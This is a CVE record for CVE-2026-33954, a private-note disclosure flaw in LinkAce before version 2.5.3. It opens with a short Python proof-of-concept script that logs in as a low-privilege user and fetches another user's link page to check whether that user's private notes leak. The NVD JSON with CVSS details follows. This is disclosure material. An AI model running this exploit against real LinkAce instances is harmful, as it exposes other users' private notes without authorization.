CVE-2026-33954

import requests # Target configuration target_base_url = "http://localhost:8000" login_url = f"{target_base_url}/login" link_detail_url = f"{target_base_url}/links/{{link_id}}" # Attacker credentials (low privilege user) session = requests.Session() payload = { "email": "[email protected]", "password": "attacker_password" } # Step 1: Login to get authenticated session response = session.post(login_url, data=payload) if response.status_code != 200: print("[!] Login failed") exit(1) print("[+] Logged in successfully") # Step 2: Access a link shared by another user (Internal or Public) # Assume '1' is a link ID belonging to a victim user victim_link_id = 1 vuln_url = link_detail_url.format(link_id=victim_link_id) response = session.get(vuln_url) # Step 3: Check if private notes are leaked in the response # The vulnerability exposes private notes in the HTML response if "private_note_content" in response.text: print(f"[!] Vulnerability confirmed! Private note leaked at {vuln_url}") else: print("[-] Private note not found or system patched")

{"cve": {"id": "CVE-2026-33954", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:21.917", "lastModified": "2026-03-31T18:03:35.643", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LinkAce is a self-hosted archive to collect website links. In versions prior to 2.5.3, a private note attached to a non-private link can be disclosed to a different authenticated user via the web interface. The API appears to correctly enforce note visibility, but the web link detail page renders notes without applying equivalent visibility filtering. As a result, an authenticated user who is allowed to view another user's `internal` or `public` link can read that user's `private` notes attached to the link. Version 2.5.3 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linkace:linkace:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.3", "matchCriteriaId": "5085A4DA-FF49-40D4-84A3-AFAFEC3902FC"}]}]}], "references": [{"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-88h3-cq25-vw8q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-88h3-cq25-vw8q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}